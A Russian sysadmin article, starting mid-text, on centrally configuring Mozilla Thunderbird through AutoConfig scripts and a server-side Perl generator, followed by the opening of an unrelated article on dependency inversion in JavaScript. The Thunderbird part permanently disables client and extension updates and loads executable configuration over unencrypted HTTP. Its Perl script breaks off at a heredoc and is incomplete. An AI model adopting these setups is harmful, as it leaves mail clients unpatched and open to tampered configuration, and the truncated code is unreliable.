Хорошо, но что же использовать вместо них, ведь хочется такой же красивой и прозрачной для пользователя работы с почтой, которую обеспечивает протокол MAPI? Небольшая перетасовычка и на свет появляется вполне очевидное и на самом деле безальтернативное решение — **IMAP**. IMAP, слава Богу, в современном мире в той или иной степени поддерживают чуть ли не все почтовые клиенты, так что выбор у нас огромен. Но если присмотреться внимательней, то он сужается до весьма скромного множества из одного-двух наименований.
Итак, нам бы хотелось:
* Для начала — кросплатформенность. Глупо использовать стандартизированные технологии, но привязываться изначально к одной ОС, тогда уж проще сразу купить Exchange и навсегда забыть о какой-либо гибкости разворачиваемой инфраструктуры.
* Полная поддержка **IMAP** и **IMAP ACL**. Второй пункт важен, т.к. без него нельзя будет организовать ни общих папок, ни передачу прав на различные операции с ящиком другим пользователям, а без этого в корпоративной почтовой системе никак.
* ***Возможность централизованной настройки клиента через сервер.***
* Гибкость настроек клиента и удобство в использовании.
Недолгий поиск в интернете может поведать, что единственный вариант, который можно было бы рассмотреть поближе — это **Mozilla Thunderbird**. Но вот вопрос: может ли Thunderbird предоставить весь необходимый функционал, чтобы можно было с лёгкостью заменить им связку Exchange и Outlook? Оказывается не только может, но и позволяет добиться куда как большего, чем просто банальное подражание продуктам Microsoft.
[](http://creativecommons.org/licenses/by-sa/3.0/deed.ru)
Для начала, конечно, надо определиться с сервером, а то что-то я слишком лихо собрался заменять почтовым клиентом целую инфраструктуру. Я использую **[Dovecot](http://dovecot.org/)**, поскольку он является одним из самых надёжных и гибких продуктов в своей области, но самое главное — **Dovecot** *единственный* широкоиспользуемый сервер, который полностью [реализует поддержку протокола IMAP](http://imapwiki.org/ImapTest/ServerStatus). Вы можете использовать любой другой сервер, однако для достижения максимальной эффективности ваш сервер должен как минимум поддерживать IMAP ACL.
#### В дебрях конфигов
Теперь перейдём непосредственно к Thunderbird. Все настройки Thunderbird хранит в виде столь любимых многими текстовых конфигурационных файлов, правда, в несколько необычной манере. Конфиги Thunderbird представляют из себя скрипты на **JavaScript**. И Thunderbird не просто читает их, а исполняет. Из этого следует весьма забавный вывод: можно использовать множество возможностей JS для динамического формирования нужных параметров. Конечно, поддержка JS в Thunderbird далеко не полная, но нам её хватит с лихвой.
Основной конфигурационный файл Thunderbird хранится в профиле пользователя и называется *prefs.js*. На всякий случай: профиль Thunderbird находится либо в домашней папке (для Linux), либо в AppData (для Windows), либо в папке программы (для Thunderbird Portable).
Формат указанного файла весьма простой, он весь состоит из строчек вида
```
user_pref("app.update.auto", false);
```
Я думаю понятно, что подобные строчки задают некоторое значение указанным в качестве первого аргумента параметрам.
Однако редактировать *prefs.js* вручную нельзя, поскольку он должен исправляться только самим Thunderbird. При этом непосредственно в программе есть встроенный редактор конфигурации, который позволяет получить доступ ко всем опциям из *prefs.js*. Попасть в него можно зайдя в меню *Инструменты->Настройки...*, в открывшемся окне перейдя в раздел *Дополнительные*, затем выбрав вкладку *Основные* и нажав на ней кнопку *Редактор настроек...*
***Этот редактор вам ещё очень пригодится, так что обязательно его отыщите. Хотя реально что-то изменять через него вам вряд ли понадобится, зато он крайне полезен для поиска названий нужных опций.***
#### Mozilla AutoConfig (aka Mission Control)
Вот мы и подошли к самому интересному. Как я уже сказал, напрямую редактировать *prefs.js* нельзя, но это и не проблема, поскольку в Thunderbird есть ещё один уровень настроек, с помощью которого можно как угодно управлять пользовательскими параметрами из *prefs.js*.
Этот интригующий механизм также полностью основан на JavaScript скриптах, но в этот раз вы уже вольны изменять что угодно и как угодно, в том числе используя все доступные инструменты и возможности JavaScript как языка программирования.
Для включения дополнительного механизма настройки надо немного поменять файлы в установочной директории Thunderbird. Для начала необходимо добавить две строчки в конец файла **greprefs/all.js**, найти который можно в */usr/lib/thunderbird-xxx/* в Ubuntu Linux или рядом с Thunderbird.exe в Windows. Вот эти строчки:
```
pref("general.config.obscure_value", 0);
pref("general.config.filename", "thunderbird.cfg");
```
Вторая содержит собственно имя конфигурационного файла, который должен использовать Thunderbird, а первая отвечает за его шифрование. Обычно шифровать ничего не нужно, поэтому значение первого параметра лучше выставлять равным 0.
Теперь необходимо создать указанный файл *thunderbird.cfg*. Располагаться он должен в той же папке, что и основной исполняемый файл Thunderbird. Узнать, где находится Thunderbird в Linux можно командой
```
which thunderbird
```
Ну а в Windows вы можете заглянуть, например, в свойства ярлыка.
Что может располагаться в *thunderbird.cfg*? Любой JavaScript код, который сможет выполнить Thunderbird. Однако нам-то надо работать с опциями настройки, для этого можно использовать следующие функции:
```
function pref(prefName, value)
function defaultPref(prefName, value)
function lockPref(prefName, value)
function unlockPref(prefName)
function getPref(prefName)
function clearPref(prefName)
function getenv(envName)
```
Есть ещё парочка доступных функций, но они вам вряд ли понадобятся. Самая полная статья, которую я нашёл на эту тему, находится [здесь](http://www.it-sudparis.eu/s2ia/user/procacci/netscape/en/mozilla-autoconfig-en.html).
Хорошо, что же делают все эти функции?
1. **pref** — устанавливает значение для указанного параметра. При этом пользователь сможет поменять это значение после запуска Thunderbird, однако если вы не измените *thunderbird.cfg*, то при следующем перезапуске эта функция выполниться снова и снова изменит значение параметра.
2. **defaultPref** — устанавливает для указанного параметра значение по умолчанию. Может оказаться полезной при создании нового профиля.
3. **lockPref** — самая полезная, пожалуй, функция. Устанавливает значение для некоторого параметра и блокирует его, таким образом запрещая пользователю этот параметр изменять.
4. **unlockPref** — как не трудно догадаться, разблокирует ранее заблокированный параметр.
5. **getPref** — возвращает текущее значение указанного параметра.
6. **clearPref** — сбрасывает значение указанного параметра.
7. **getenv** — возвращает текущее значение указанной системной переменной.
Можно ещё получать данные из LDAP, но при этом не поддерживается авторизация, что сводит на нет полезность этого механизма. Да и он не нужен, как вы вскоре убедитесь.
Вот простейший пример файла *thunderbird.cfg*, который немного «тюнит» Thunderbird:
```
// Небольшой тюнинг Thunderbird с помощью Mozilla AutoConfig
try {
// Получаем имя пользователя, Thunderbird запустившего (и домашнюю папку, хоть она нам и не нужна)
if(getenv("USER") != "") {
// *NIX параметры
var env_user = getenv("USER");
var env_home = getenv("HOME");
} else {
// Windows параметры
var env_user = getenv("USERNAME");
var env_home = getenv("HOMEPATH");
}
// Ставим аккаунтом по умолчанию account1
defaultPref("mail.accountmanager.defaultaccount", "account1");
// Добавляем по умолчанию в список аккаунтов только account1
defaultPref("mail.accountmanager.accounts", "account1");
// Жёстко закрепляем за account1 сервер server1 (IMAP)
lockPref("mail.account.account1.server", "server1");
// Ставим в качестве сервера локальных папок основной IMAP сервер пользователя,
// тем самым полностью отключая локальные папки в клиенте
lockPref("mail.accountmanager.localfoldersserver", "server1");
// Отключаем полосочку "Узнайте о своих правах" при первом запуске
lockPref("mail.rights.version", 1);
// Отключаем автообновление клиента. Если не отключить, то при обновлении может измениться файл
// all.js и тогда весь механизм Mozilla AutoConfig сломается.
lockPref("app.update.enabled", false);
lockPref("extensions.update.enabled", false);
// Настройки IMAP сервера
lockPref("mail.server.server1.type", "imap");
lockPref("mail.server.server1.hostname", "mail.domain.com"); // Неизвестно, зачем два параметра, но нужны оба,
lockPref("mail.server.server1.realhostname", "mail.domain.com"); // иначе можно будет менять пользователю
lockPref("mail.server.server1.port", 143); // Порт сервера
lockPref("mail.server.server1.socketType", 2); // Использовать STARTLS
lockPref("mail.server.server1.name", env_user);
lockPref("mail.server.server1.userName", env_user); // Логин пользователя,
lockPref("mail.server.server1.realuserName", env_user); // комментарий аналогично hostname
lockPref("mail.server.server1.login_at_startup", true); // Очень важный параметр! Без него вообще не заработает ничерта;)
lockPref("mail.server.server1.isSecure", true); // Защищённый сервер
// Настройки SMTP сервера
lockPref("mail.smtpserver.smtp1.hostname", "mail.domain.com");
lockPref("mail.smtpserver.smtp1.port", 25);
lockPref("mail.smtpserver.smtp1.description", "SMTP сервер ЗАО «Рога и Копыта»");
lockPref("mail.smtpserver.smtp1.try_ssl", 2);
lockPref("mail.smtpserver.smtp1.auth_method", 1);
lockPref("mail.smtpserver.smtp1.username", env_user);
// Настройки аккаунта - адреса почты и т.д.
defaultPref("mail.identity.id1.fullName", env_user); //Это поле пользователь сможет поменять сам, но по умолчанию там будет его логин
lockPref("mail.identity.id1.useremail", env_user + "@domain.com");
lockPref("mail.identity.id1.reply_to", env_user + "@domain.com");
lockPref("mail.identity.id1.valid", true);
lockPref("mail.identity.id1.smtpServer", "smtp1");
lockPref("mail.identity.id1.organization", "ЗАО «Рога и Копыта»");
// Привязываем ID к аккаунту
lockPref("mail.account.account1.identities", "id1");
// Адресные книги LDAP
lockPref("ldap_2.servers.domain.uri", "ldap://dc.domain.com/OU=Пользователи,OU=domain,DC=DOMAIN,DC=COM??sub?(mail=*)");
lockPref("ldap_2.servers.domain.auth.dn", "DOMAIN\\" + env_user);
lockPref("ldap_2.servers.domain.auth.saslmech", "");
lockPref("ldap_2.servers.domain.description", "Сотрудники 'Рога и Копыта'");
lockPref("ldap_2.servers.domain.filename", "empl.mab");
lockPref("ldap_2.servers.domain.maxHits", 300);
// Автодополнение адресов из книги сотрудников
lockPref("ldap_2.autoComplete.directoryServer", "ldap_2.servers.domain");
lockPref("ldap_2.autoComplete.useDirectory", true);
} catch(e) {
displayError("lockedPref", e);
}
```
Файл подробно комментирован, так что надеюсь вы разберётесь, что к чему. Блок *try* нужен для перехвата ошибок, лучше его не убирайте (иначе в случае чего Thunderbird просто не запустится). Кроме того, все параметры и нужные значения для них для своей конкретной инфраструктуры я скопировал из упоминавшегося редактора конфигурации, настроив предварительно всё вручную обычным способом. Рекомендую всегда именно так и делать, иначе вы будете долго гадать какое значение нужно указать, например, для параметра *mail.server.server.socketType* в вашем случае.
***То есть алгоритм действия по поиску нужных параметров и указанию их значений примерно такой: сначала настраиваем что-то на чистом Thunderbird вручную, а потом копируем все нужные настройки из редактора в самом Thunderbird в скрипт автоконфигурации.***
Теперь достаточно при установке Thunderbird положить этот скрипт в папочку с исполняемым файлом (и не забыть добавить две строчки в *all.js*!), и все ваши пользователи, которые будут открывать Thunderbird на этом компьютере, получат автоматически настроенные параметры своих аккаунтов, а так же подключённую адресную LDAP книгу с сотрудниками организации.
Для проверки работоспособности скрипта можно заглянуть всё в тот же редактор настроек Thunderbird. В нём статус параметров, для которых была выполнена функция *lockPref()*, должен быть «заблокировано». Если это не так — значит вы где-то ошиблись и ваш скрипт не работает.
Кстати, обратите внимание, хитрый трюк с указанием в качестве *localfoldersserver* сервера IMAP позволяет отключить локальные папки в клиенте. Это бывает немаловажно в организации с внутренним IMAP сервером и блондинками, которые не понимают, что локальные папки на то и локальные, что хранятся в профиле пользователя на конкретном компьютере, а не на сервере.
Как я уже сказал, вы можете использовать практически все возможности стандартного JavaScript в скрипте автоконфигурации, плюс можете получать значение системных переменных. Это уже очень неплохо, и пытливые администраторы уже наверно стали прикидывать варианты автоматического обновления скриптов *thunderbird.cfg* на локальных компьютерах. К счастью, изобретать велосипед вовсе не обязательно.
#### Настройка через сервер
В механизм автонастройки Thunderbird встроена возможность загрузки конфигурационного файла с сервера по указанному URL. Воспользоваться ей очень просто — необходимо в файле, на который ссылается опция *general.config.filename* из *all.js* (то есть в нашем случае *thunderbird.cfg*) указать всего две строчки:
```
lockPref("autoadmin.global_config_url", "http://mail.domain.com/thunderbird.cfg");
lockPref("autoadmin.append_emailaddr", false);
```
Ну и конечно по указанному адресу должен находится нужный вам конфигурационный файл вроде того, что приведён в предыдущем разделе. Зачем нужен второй параметр — не совсем понятно, но судя по названию лучше его не включать.
Итого: мы получили достаточно эффективный механизм централизованной настройки Thunderbird. Однако ему явно не хватает гибкости, поскольку JavaScript, увы, многого не умеет. Например — обращаться к внешним источникам данных, как то SQL базы или LDAP каталоги. Соответственно провести тонкую настройку клиента под конкретного пользователя у вас вряд ли получится.
Но если задуматься, это можно легко обойти. Ведь мы храним конфигурационный файл на HTTP сервере, а значит можем его генерировать с помощью полноценного PHP или Perl скрипта на стороне сервера, что значительно расширяет возможности по тонкой настройке, делая их фактически безграничными.
Осталось дело за малым — для тонкой настройки под конкретного пользователя конфигурационного скрипта, а следовательно и Thunderbird, необходимо, чтобы клиент каким-то образом сообщал серверу хотя бы имя пользователя. Thunderbird его может легко вычислить с помощью уже описанной функции *getent*, ну а передать его можно прямо в URL в виде GET-переменной. Но тут возникает одна проблема: Thunderbird почему-то упорно игнорирует URL с GET-переменными в параметре *autoadmin.global\_config\_url*. Хотя это конечно тоже не проблема, ведь с помощью *mod\_rewrite* мы можем на стороне сервера преобразовать обычный URL некоторого вида в URL c GET-переменными и передать уже этот URL скрипту.
Чтобы долго не объяснять, перейдём к практике. Конечный содержимое моего файла *thunderbird.cfg*, лежащего рядом с бинарником самого Thunderbird, имеет такой вот вид:
```
// Начальные параметры настройки Thunderbird грузим с сервера
if(getenv("USER") != "") {
// *NIX settings
var env_user = getenv("USER");
var env_home = getenv("HOME");
} else {
// Windows settings
var env_user = getenv("USERNAME");
var env_home = getenv("HOMEPATH");
}
lockPref("autoadmin.global_config_url", "http://mail.domain.com/tb/user/"+env_user);
lockPref("autoadmin.append_emailaddr", false);
```
Таким образом запущенный из под учётной записи пользователя **malamut** Thunderbird за настройками полезет по адресу
**```
http://mail.domain.com/tb/user/malamut
```**
На сервере mail.domain.com у меня стоит **Apache** с **mod\_rewrite** и **mod\_perl**, как это дело настраивать вместе пожалуй объяснять не буду. В папочке *tb/* в каталоге сайта mail.domain.com лежит Perl-скрипт *conf.pl*, который собственно генерирует конфигурационные файлы для Thunderbird, и файл *.htaccess* такого вот содержания:
```
Options -Indexes +ExecCGI
AddHandler cgi-script .pl
RewriteEngine on
RewriteBase /tb
RewriteRule ^user/(.*) conf.pl?user=$1 [L]
```
Таким образом запросы по URL вида
**```
http://mail.domain.com/tb/user/malamut
```**
преобразуются в запросы по URL вида
**```
http://mail.domain.com/tb/conf.pl?user=malamut
```**
Осталось только написать Perl скрипт, который будет брать из GET-переменных имя пользователя и выдавать соответствующий конфигурационный файл для Thunderbird.
Вот пример такого скрипта:
```
#!/usr/bin/perl
use 5.010;
use CGI qw/:standard/;
# Параметры
$smtp_server = "mail.domain.com";
$imap_server = "mail.domain.com";
$organization = "ЗАО «Рога и Копыта»";
# Прикидываемся жаваскриптом
print header(
-type=>'application/javascript'
);
# Username - из GET переменных
$user = param('user');
unless ($user) { die "We need a user, please!\n" }
# Нам нужен user в lovercase, иначе будут проблемы с большинством IMAP серверов. Поскольку username берётся
# из переменной глупейшей винды, то там может быть любое награмождение заглавных и строчных букв.
$user = lc $user;
#########################################################################
# Специфичные для конкретной БД пользователей функции
# Получаем все адреса нужного пользователя. Первый будет основным
# FIXME: нужно реализовать эту функцию для вашей БД
@mails = getEmails($user);
# Получаем полное имя пользователя
# FIXME: нужно реализовать эту функцию для вашей БД
$name = getName($user);
#########################################################################
# Создаём конечный конфигурационный файл
print <
```
Некоторые комментарии чуть ниже. А пока при обращении по адресу
**```
http://mail.domain.com/tb/user/malamut
```**
получим примерно следующий вывод, сгенерированный приведённым скриптом:
```
//Параметры автонастройки Thunderbird для пользователя malamut (Malamut)
try {
// Основные параметры настройки серверов
// Добавляем аккаунт в список уже подключённых аккаунтов, если его там ещё нет
var accounts = getPref("mail.accountmanager.accounts");
var accounts_s = accounts + ",";
if (! (accounts_s.indexOf("account1,")+1) ) {
accounts = accounts + ",account1";
}
pref("mail.accountmanager.accounts",accounts);
// Настройки IMAP сервера
lockPref("mail.server.server1.type", "imap");
lockPref("mail.server.server1.hostname", "mail.domain.com"); // Неизвестно, зачем два параметра, но нужны оба,
lockPref("mail.server.server1.realhostname", "mail.domain.com"); // иначе можно будет менять пользователю
lockPref("mail.server.server1.port", 143); // Порт сервера
lockPref("mail.server.server1.socketType", 2); // Использовать STARTLS
lockPref("mail.server.server1.name", "Malamut");
lockPref("mail.server.server1.userName", "malamut"); // Логин пользователя,
lockPref("mail.server.server1.realuserName", "malamut"); // комментарий аналогично hostname
lockPref("mail.server.server1.login_at_startup", true); // Очень важный параметр! Без него вообще не заработает ничерта;)
lockPref("mail.server.server1.isSecure", true); // Защищённый сервер
// Привязываем указанный IMAP сервер к аккаунту
lockPref("mail.account.account1.server", "server1");
// Настройки SMTP сервера
lockPref("mail.smtpserver.smtp1.hostname", "mail.domain.com");
lockPref("mail.smtpserver.smtp1.port", 25);
lockPref("mail.smtpserver.smtp1.description", "SMTP сервер ЗАО «Рога и Копыта»");
lockPref("mail.smtpserver.smtp1.try_ssl", 2);
lockPref("mail.smtpserver.smtp1.auth_method", 1);
lockPref("mail.smtpserver.smtp1.username", "malamut");
// Добавляем SMTP в список
var smtp = getPref("mail.smtpservers");
var smtp_s = smtp + ",";
if (! (smtp_s.indexOf("smtp1,")+1) ) {
smtp = smtp + ",smtp1";
}
pref("mail.smtpservers", smtp);
// Отключаем полосочку "Узнайте о своих правах" при первом запуске
lockPref("mail.rights.version", 1);
// Отключаем автообновление
lockPref("app.update.enabled", false);
lockPref("extensions.update.enabled", false);
// Ставим в качестве сервера локальных папок основной IMAP сервер пользователя,
// тем самым полностью отключая локальные папки в клиенте
lockPref("mail.accountmanager.localfoldersserver", "server1");
// Блокируем корпоративный аккаунт почты в качестве основного аккаунта TB
lockPref("mail.accountmanager.defaultaccount", "account1");
// Ставим в качестве сервера локальных папок основной IMAP сервер пользователя,
// тем самым полностью отключая локальные папки в клиенте
lockPref("mail.accountmanager.localfoldersserver", "server1");
// Адрес malamut@domain.com для пользователя malamut (Malamut)
defaultPref("mail.identity.id1.fullName", "Malamut");
lockPref("mail.identity.id1.useremail", "malamut@domain.com");
lockPref("mail.identity.id1.reply_to", "malamut@domain.com");
lockPref("mail.identity.id1.valid", true);
lockPref("mail.identity.id1.smtpServer", "smtp1");
lockPref("mail.identity.id1.organization", "ЗАО «Рога и Копыта»");
lockPref("mail.identity.id1.archive_folder", "imap://malamut@mail.domain.com/Archives");
lockPref("mail.identity.id1.draft_folder", "imap://malamut@mail.domain.com/Drafts");
lockPref("mail.identity.id1.drafts_folder_picker_mode", 0);
lockPref("mail.identity.id1.fcc_folder", "imap://malamut@mail.domain.com/Sent");
lockPref("mail.identity.id1.fcc_folder_picker_mode", 0);
lockPref("mail.identity.id1.stationery_folder", "imap://malamut@mail.domain.com/Templates");
// Адрес admin@domain.com для пользователя malamut (Malamut)
defaultPref("mail.identity.id2.fullName", "Malamut");
lockPref("mail.identity.id2.useremail", "admin@domain.com");
lockPref("mail.identity.id2.reply_to", "admin@domain.com");
lockPref("mail.identity.id2.valid", true);
lockPref("mail.identity.id2.smtpServer", "smtp1");
lockPref("mail.identity.id2.organization", "ЗАО «Рога и Копыта»");
lockPref("mail.identity.id2.archive_folder", "imap://malamut@mail.domain.com/Archives");
lockPref("mail.identity.id2.draft_folder", "imap://malamut@mail.domain.com/Drafts");
lockPref("mail.identity.id2.drafts_folder_picker_mode", 0);
lockPref("mail.identity.id2.fcc_folder", "imap://malamut@mail.domain.com/Sent");
lockPref("mail.identity.id2.fcc_folder_picker_mode", 0);
lockPref("mail.identity.id2.stationery_folder", "imap://malamut@mail.domain.com/Templates");
// Все доступные для этого аккаунта адреса
lockPref("mail.account.account1.identities", "id1,id2");
// Адресная книга сотрудников
lockPref("ldap_2.servers.domain.uri", "ldap://dc.domain.com/OU=Пользователи,OU=domain,DC=DOMAIN,DC=COM??sub?(mail=*)");
lockPref("ldap_2.servers.domain.auth.dn", "DOMAIN\\malamut");
lockPref("ldap_2.servers.domain.auth.saslmech", "");
lockPref("ldap_2.servers.domain.description", "Сотрудники 'Рога и Копыта'");
lockPref("ldap_2.servers.domain.filename", "empl.mab");
lockPref("ldap_2.servers.domain.maxHits", 300);
// Автодополнение адресов из книги сотрудников
lockPref("ldap_2.autoComplete.directoryServer", "ldap_2.servers.domain");
lockPref("ldap_2.autoComplete.useDirectory", true);
// SMTP Яндекса для yandex@yandex.ru
lockPref("mail.smtpserver.smtp50.hostname", "smtp.yandex.ru");
lockPref("mail.smtpserver.smtp50.port", 465);
lockPref("mail.smtpserver.smtp50.description", "SMTP для yandex@yandex.ru");
lockPref("mail.smtpserver.smtp50.try_ssl", 3);
lockPref("mail.smtpserver.smtp50.auth_method", 1);
lockPref("mail.smtpserver.smtp50.username", "yandex@yandex.ru");
// Добавляем SMTP Яндекса в список
var smtp = getPref("mail.smtpservers");
var smtp_s = smtp + ",";
if (! (smtp_s.indexOf("smtp50,")+1) ) {
smtp = smtp + ",smtp50";
}
pref("mail.smtpservers", smtp);
// IMAP Яндекса для yandex@yandex.ru
lockPref("mail.server.server50.type", "imap");
lockPref("mail.server.server50.hostname", "imap.yandex.ru");
lockPref("mail.server.server50.realhostname", "imap.yandex.ru");
lockPref("mail.server.server50.port", 993);
lockPref("mail.server.server50.socketType", 3);
lockPref("mail.server.server50.name", "yandex@yandex.ru");
lockPref("mail.server.server50.userName", "yandex@yandex.ru");
lockPref("mail.server.server50.realuserName", "yandex@yandex.ru");
lockPref("mail.server.server50.check_new_mail", true);
lockPref("mail.server.server50.login_at_startup", true);
lockPref("mail.server.server50.isSecure", true);
lockPref("mail.server.server50.max_cached_connections", 5);
// Аккаунт для yandex@yandex.ru
defaultPref("mail.identity.id50.fullName", "yandex");
lockPref("mail.identity.id50.useremail", "yandex@yandex.ru");
lockPref("mail.identity.id50.reply_to", "yandex@yandex.ru");
lockPref("mail.identity.id50.valid", true);
lockPref("mail.identity.id50.smtpServer", "smtp50");
defaultPref("mail.identity.id50.organization", "");
lockPref("mail.account.account50.identities", "id50");
lockPref("mail.account.account50.server", "server50");
// Добавляем аккаунт yandex@yandex.ru в список
accounts = getPref("mail.accountmanager.accounts");
accounts_s = accounts + ",";
if (! (accounts_s.indexOf("account50,")+1) ) {
accounts = accounts + ",account50";
}
pref("mail.accountmanager.accounts",accounts);
} catch(e) {
displayError("lockedPref", e);
}
```
Вот и всё, мы получили файл конфигурации для Thunderbird, сгенерированный Perl скриптом на сервере.
Самое великолепное в этом то, что с помощью описанного механизма можно неограниченно гибко управлять любыми настройками Thunderbird, включая настройки плагинов, которые также подчиняются менеджеру конфигурации. Единственное, что не подвластно такому централизованному конфигурированию — это пользовательский интерфейс, то есть расположение панелек и их размер.
#### Настройка аккаунтов через конфигурационный файл
Сначала, на всякий случай, рассмотрим основной принцип настроек аккаунтов в Thunderbird, поскольку он не совсем очевиден.
Все множественные данные одного типа Thunderbird нумерует и различает по номерам. Если нужно добавить новый аккаунт, почтовый адрес, SMTP сервер или ещё что, то Thunderbird во внутренних настройках присвоит новому объекту первый доступный номер. Поэтому когда вы добавляете какие-то объекты через скрипт автоконфигурации, то присваивайте номера, заведомо бОльшие, чем уже могут быть в клиенте. Иначе вы можете переписать случайно настройки какого-то пользовательского почтового ящика, что вряд ли понравится пользователю. Исключение — основной корпоративный аккаунт, который имеет номер 1.
Для того, чтобы привязать множественные записи к какому-то объекту, например, несколько почтовых адресов отправки к аккаунту, Thunderbird использует простые списки, разделённые запятой. Например:
```
lockPref("mail.account.account1.identities", "id1,id2");
```
Thunderbird поддерживает множественные аккаунты (**account**), кроме того, у каждого аккаунта может быть несколько почтовых идентификаторов (**identity**). Названия всех опций, относящихся непосредственно к аккаунту, начинаются с **mail.account.accountN**, где N — внутренний номер аккаунта. Названия всех опций, относящихся к почтовым идентификаторам, начинаются соответственно с **mail.identity.idN**, где N — внутренний номер идентификатора.
Список всех аккаунтов Thunderbird хранится в переменной **mail.accountmanager.accounts**. Кстати, порядок перечисления аккаунтов в этой переменной определяет порядок их следования в левой панели навигации пользовательского интерфейса Thunderbird. Если удалить аккаунт из этого списка, то он пропадёт из Thunderbird, даже не смотря на то, что все его настройки могут остаться на месте.
Список почтовых идентификаторов для аккаунта N указывается в переменной **mail.account.accountN.identities**. IMAP сервер привязывается к аккаунту с помощью переменной **mail.account.accountN.server**, SMTP же сервер привязывается к почтовому идентификатору с помощью переменной **mail.identity.idN.smtpServer**.
В общем, перед тем, как что-то настраивать, крайне рекомендуется разобраться в том, что от чего зависит и что с чем связано.
#### Полезные трюки для скрипта автоконфигурации
Во-первых, обратите внимание на JavaScript код, который добавляет переменные в список себе подобных. Например, вот так можно добавить аккаунт к уже существующим:
```
// Добавляем аккаунт в список уже подключённых аккаунтов, если его там ещё нет
var accounts = getPref("mail.accountmanager.accounts");
var accounts_s = accounts + ",";
if (! (accounts_s.indexOf("account1,")+1) ) {
accounts = accounts + ",account1";
}
pref("mail.accountmanager.accounts",accounts);
```
Этот трюк необходим для того, чтобы скрипт автоконфигурации не уничтожал настройки дополнительных аккаунтов, подключённых пользователем вручную. Именно поэтому нужный аккаунт нужно добавлять в список уже существующих, а не просто перезаписывать весь список.
Кроме того, на уровне Perl скрипта можно организовать какую угодно обработку в зависимости от переданного имени пользователя. Я добавил для примера функцию, которая подключает аккаунт с Yandex по его имени, и добавил вызов этой функции для себя. Теперь мне потребуется всего лишь закрыть Thunderbird и открыть его заново, затем ввести свой пароль и всё, мой Yandex аккаунт будет подключён! Такую технику очень удобно использовать для удалённого управления почтовыми клиентами отдельных пользователей.
Например, звонит вам босс какого-нибудь филиала и просит подключить аккаунт yandex своей тёщи. Вы, вместо того, чтобы высылать туда штатного специалиста, или долго объяснять, куда нажать, или отвлекать от работы и подключаться удалённо, просто добавляете три строчки в скрипт автоконфигурации и просите перезагрузить почтовый клиент и ввести свой пароль. Такой метод настройки также гарантирует, что пользователь ничего не сломает в параметрах, поскольку они все заблокированы.
Ну и наконец немаловажным является тот факт, что однажды заблокированные параметры прописываются в настройки локального клиента. То есть если вы поставите Thunderbird на ноубук шефа, подключите его в корпоративной сети с целью его автоматической конфигурации, а потом шеф с ним куда-то уедет, то его настройки в клиенте всё равно сохраняться. Даже не смотря на то, что сервер автоконфигурации не будет доступен из того места, где он будет подключаться к интернету.
#### Дополнительные возможности Thunderbird
Конфигурировать Thunderbird вы теперь умеете. Однако не забудьте на радостях, что Thunderbird выгодно отличается от всех других почтовых клиентов тем, что поддерживает расширения. И этих расширений доступно великое множество на все случаи жизни.
Например, для управления совместным доступом к почтовым ящикам с помощью IMAP ACL можно использовать соответствующее [расширение](https://addons.mozilla.org/ru/thunderbird/addon/imap-acl-extension/). Для добавления календаря в Thunderbird отлично подойдёт [Lightning](http://www.mozilla.org/projects/calendar/lightning/), который, кстати, тоже можно очень гибко настроить через описанный выше механизм.
Для того, чтобы установить расширение для всех пользователей компьютера, можно сначала поставить его штатным способом, а потом скопировать соответствующую папочку из своего профиля в каталог *extensions/*, который можно найти в основном установочном каталоге Thunderbird.
Кроме того, можно создавать профили по умолчанию для новых пользователей. Для этого используется каталог *default/profile*. В профиль можно положить, например, файл настроек пользовательского интерфейса или файл с сертификатами.
***Комментарии и полезные дополнения к материалу всячески приветствуются!*** | https://habr.com/ru/post/101905/ | null | ru | null |
# Инверсия зависимостей и 'import' в JS
В процессе обсуждения статьи "[Почему я «мучаюсь» с JS](https://habr.com/ru/post/569384/)" у меня сложилось понимание, что связка `export` / `import` в JS является базой для указания зависимостей между элементами кода (классами и функциями). А так как современные приложения вышли за рамки однофайловых и давно уже строятся из блоков, то выстраивание зависимостей между элементами кода имеет весомое значение. Настолько весомое, что в знаменитой аббревиатуре SOLID этому посвящена отдельная буква — D (Dependency inversion — инверсия зависимостей, не путать с Dependency injection — внедрение зависимостей).
Размышляя над тем, как связываются зависимые элементы кода в JS через `export` / `import`, я пришёл к выводу, что не все зависимости в коде `es6`-модулей SOLID'ных приложений можно описать инструкциями `import`. Излагаю свои соображения, чтобы коллеги могли указать, где я ошибаюсь, или подтвердить мои выкладки.
Ограничение: все размышления относятся к `nodejs`-приложениям и `es6`-модулям.
export-import
=============
В `nodejs`-приложениях самым крупным блоком является `npm`-пакет, а самым малым - отдельный экспорт `es6`-модуля:
```
export { name1, name2, …, nameN };
```
В рамках одного `npm`-пакета зависимости между `es6`-модулями этого пакета указываются через импорты, на основании относительной адресации:
```
import ModuleLoader from './ModuleLoader.mjs';
```
Для использования в мультипакетном режиме `npm`-пакеты экспортируют свой код через инструкцию [main](https://docs.npmjs.com/cli/v7/configuring-npm/package-json#main) дескриптора пакета `package.json`:
```
{
"main": "src/Shared/Container.mjs"
}
```
Указание зависимости из "*соседнего*" пакета, экспортируемой через `main`:
```
import Container from '@teqfw/di';
```
Также возможно указание зависимости из "*соседнего*" пакета напрямую, без привязки к `main`:
```
import Container from '@teqfw/di/src/Shared/Container.mjs';
```
Таким образом, "*джентльменским соглашением*" между разработчиками разных `npm`-пакетов является использование экспорта "*точки входа*" в пакет, указанной в `main`. Это даёт понимание пользователям пакета, что из содержимого пакета его разработчик счёл публичным интерфейсом (и будет стараться изменять по минимуму), а что — "*внутренностями*" пакета. Тем не менее, JS предоставляет возможность использовать экспорт из любого `es6`-модуля любого `npm`-пакета напрямую.
Механизм `export` / `import` является базовым для указания зависимостей между элементами кода в `nodejs`-приложениях и привязан к файловой системе, содержащей файлы `es6`-модулей. Механизм конкретен и не допускает подмены одного файла другим ни при каких условиях.
Инверсия зависимостей
=====================
Принцип инверсии зависимостей предполагает использование абстракций вместо конкретики. В программировании принято абстракции описывать как интерфейсы. Например, в [TS](https://www.typescriptlang.org/docs/handbook/typescript-tooling-in-5-minutes.html#interfaces):
```
# file './src/Person.ts'
interface Person {
firstName: string;
lastName: string;
}
```
Использование абстракции (интерфейса `Person`) в декларации функции `greeter` как раз и демонстрирует принцип инверсии зависимости:
```
# file './src/Greeter.ts'
import {Person} from './Person.js';
export function greeter(person: Person) {
return "Hello, " + person.firstName + " " + person.lastName;
}
```
Но проблема в том, что интерфейсы не существуют даже в ES2021, не говоря о более ранних версиях. При компиляции TS-кода в 'ESNext' для интерфейса `./src/Person.ts` имеем практически пустой файл `./build/Person.js`:
```
export {};
```
А импорт из `./build/Greeter.js` пропадает:
```
export function greeter(person) {
return "Hello, " + person.firstName + " " + person.lastName;
}
```
